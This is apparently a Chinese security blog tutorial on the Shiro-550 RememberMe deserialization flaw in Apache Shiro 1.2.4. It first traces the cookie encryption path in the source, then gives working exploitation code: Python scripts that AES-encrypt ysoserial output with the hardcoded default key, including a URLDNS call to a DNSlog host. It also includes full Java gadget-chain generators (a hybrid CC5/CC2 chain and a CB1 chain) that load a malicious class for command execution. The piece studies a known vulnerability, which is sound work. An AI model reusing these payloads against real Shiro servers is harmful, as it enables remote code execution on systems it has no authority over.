Java反序列化Shiro篇01-Shiro550反序列化漏洞分析
<1> Shiro介绍
Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理
Shiro反序列化原理:Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞
<2> 环境配置
shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
war包地址:https://github.com/jas502n/SHIRO-550
- jdk8u65
- Tomcat 9
- Shiro 1.2.4
配置tomcat:
tomcat的端口配置成 8081 这样后面用burp抓包时就不会冲突
启动tomcat 登录的 username 和 password 是 root 与 secret
我们登录时选择 Remember me 抓包
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段
<3> 漏洞分析
我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了
我们跟进去相关位置去看看Cookie的加密过程
在IDEA里 全局搜索 Cookie
shiro加密过程分析
入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法
这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看
这里会经一个 isRememberMe(token)
的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()
方法
F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember()
,作用就是获取用户名赋值给 principals
再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals)
进入 convertPrincipalsToBytes()
方法,我们来看一下这个方法
它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt()
方法进行加密
跟进 看一下序列化的代码:
再跟进看一下 encrypt()
方法
调用了 this.getCipherService()方法
返回了一种 AES 的加密方式CBC
所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥
再次跟进 getEncryptionCipherKey()
看一下AES加密的密钥是怎么生成的
一步步往上找
再找一下哪里定义的 encryptionCipherKey
再往上找哪里调用了 setEncryptionCipherKey()
方法,找到了setCipherkey()
方法
AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方
这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量
base64解密即可得到密钥
后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt
进行AES加密
返回加密的序列化字节流 到rememberIdentity()方法
下一步调用rememberSerializedIdentity()
方法:
进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段
这就是我们前面勾选rememberme的话,rememberMe字段的由来
shiro解密过程
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()
进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点
追溯到 AbstractRememberMeManager.convertBytesToPrincipals()
再追溯一下哪里调用了 convertBytesToPrincipals()
方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals
从DefaultSecurityManager.getRememberedIdentity()
开始分析
跟进 getRememberedPrincipals()
方法
调用了 getRememberedSerializedIdentity()
方法
跟进重点看此方法
主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE
一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes
然后回到getRememberedPrincipals()
方法,bytes不为null,因此调用 convertBytesToPrincipals()
方法
调用decrypt
进行解密,然后返回 deserialize(bytes)
; decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看
跟进 deserialize()
方法 这里会调用 getSerializer().deserialize()
对我们 base64解密-AES解密后的rememberMe的值进行反序列化
跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize()
调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用
<4> 漏洞利用
加密脚本:
import base64
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen([r'java.exe路径', '-jar',r'ysoserial路径', 'URLDNS',command],stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = rememberme('http://wxafnplx.eyes.sh')
print("rememberMe={}".format(payload.decode()))
(1) URLDNS链
注意 发包时如果登录过,要把sessionid去掉 否则会直接识别身份,而不会再去获取rememberMe
更改后再次发包,DNSlog处收到响应
(2) 利用CC2和CC4攻击(手动添加Commons-Collections 4.0依赖)
通过URLDNS链,我们验证成功存在反序列化漏洞 真正要利用的话,我们还是得去找一些可以rce的链子
我们看一下shiro自带的依赖,发现shiro中自带的是cc3.2.1版本的组件
所以我们会想到 可以利用CC6去打一下,弹一下计算器试试
利用加密脚本 + ysoserial生成CC6的payload 发送
并没有弹出计算器 看一下哪里出问题了
2023-07-27 19:26:43,928 WARN [org.apache.shiro.mgt.DefaultSecurityManager]: Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
问题发生在
org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
我们来分析一下是什么原因:
这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream
shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStream的resolveClass方法用的是Class.forName
类获取当前描述器所指代的类的Class对象
而重写后的resolveClass方法,采用的是ClassUtils.forName
有什么区别呢???
ClassUtils.forName
不支持传入数组
具体为什么不支持传入数组可以参考:https://blog.zsxsoft.com/post/35
因此传入一个Transform数组的参数,会报错
而cc2和cc4的利用链都是基于javassist去实现的,而不是基于Transform数组。因此可以利用,而cc2和cc4需要Commons-Collections 4.0的依赖
(3) 拼凑CC攻击(shiro原生CC3.2.1利用)
shiro是不自带Commons-Collections 4.0的依赖的,当然你遇到shiro的话也不可能自己去给他添加上去,那怎么办呢?没有Commons-Collections 4.0的组件就不能rce了吗?
其实方式还是有的,需要我们拼接一下各个CC链,去重新构造一下利用链
Transform数组用不了,即 利用链中的ChainedTransformer这个类利用不了,因为他的类属性iTransformers是数组类型的Transformers。
但是我们可以通过 InvokerTransformer.transform(templates)
去触发TemplatesImpl.newTransformer
进行恶意类加载rce
即利用CC2的后半段,我们来看一下CC2的调用过程
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
*************************************************************
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
->TemplatesImpl#getTransletInstance()
->TemplatesImpl#defineTransletClasses()
->TransletClassLoader#defineClass()
-> Runtime.getRuntime().exec()
*************************************************************
在这条链上,由于TransformingComparator在Commons-Collections 3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的
因此需要改造一下,哪里还有地方可以构造调用到 InvokerTransformer.transform() 并且使 参数为构造好的TemplatesImpl对象。
我们找到了 LazyMap.get()
方法
其中map、factory、key我们都可以控制,那么我们就可以将将构造好的TemplatesImpl对象 赋值给key,factory给Invokertransformer。从而与CC2后半段串起来了。
至于 哪条链中间会调用了LazyMap.get()
CC1、CC5、CC6都可以,并且他们适于 Commons-Collections 3.2.1组件,因此可以构造出好几条链子
这里拿CC5开刀
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC5_CC2_shiroexp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
byte[] code = Files.readAllBytes(Paths.get("evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("CC5_CC2_shiroexp.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
这里和上面还不同,这里序列化数据存储到了 .bin二进制文件,上面则是通过cmd 命令返回结果进行加密。
不过大体上差不多,稍微修改一下之前的python加密脚本
加密脚本:
import base64
import subprocess
from Crypto.Cipher import AES
def bin2rememberme(filepath):
f = open(filepath,"rb")
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
f.close()
return base64_ciphertext
if __name__ == '__main__':
payload = bin2rememberme(r".bin文件路径")
print("rememberMe={}".format(payload.decode()))
成功弹出计算器
(4) 原生Commons-Beanutils1链攻击
其实shiro自带依赖里,我么不仅可以看到 Commons-Collections 3.2.1 还存在Commons-beanutils1.8.3
可以利用shiro自带的CB依赖 打CB链进行rce
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
unserialize("CB-bin/CB1.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
生成构造好的CB1链的二进制文件后后,利用加密脚本 得到rememberMe字段对应值
发包,弹出计算器
注意:
- 用yso打shiro的CB链可能打不通
我们打一下试试
import base64
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen([r'java.exe', '-jar',r'ysoserial.jar', 'CommonsCollections2',command],stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
#print(popen.stdout.read())
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = rememberme('calc')
print("rememberMe={}".format(payload.decode()))
tomcat报错了 原因是序列化与反序列化时 serialVersionUID定义的不同
Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
真相:版本问题 因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3
参考:
https://www.anquanke.com/post/id/192619#h2-3
https://blog.zsxsoft.com/post/35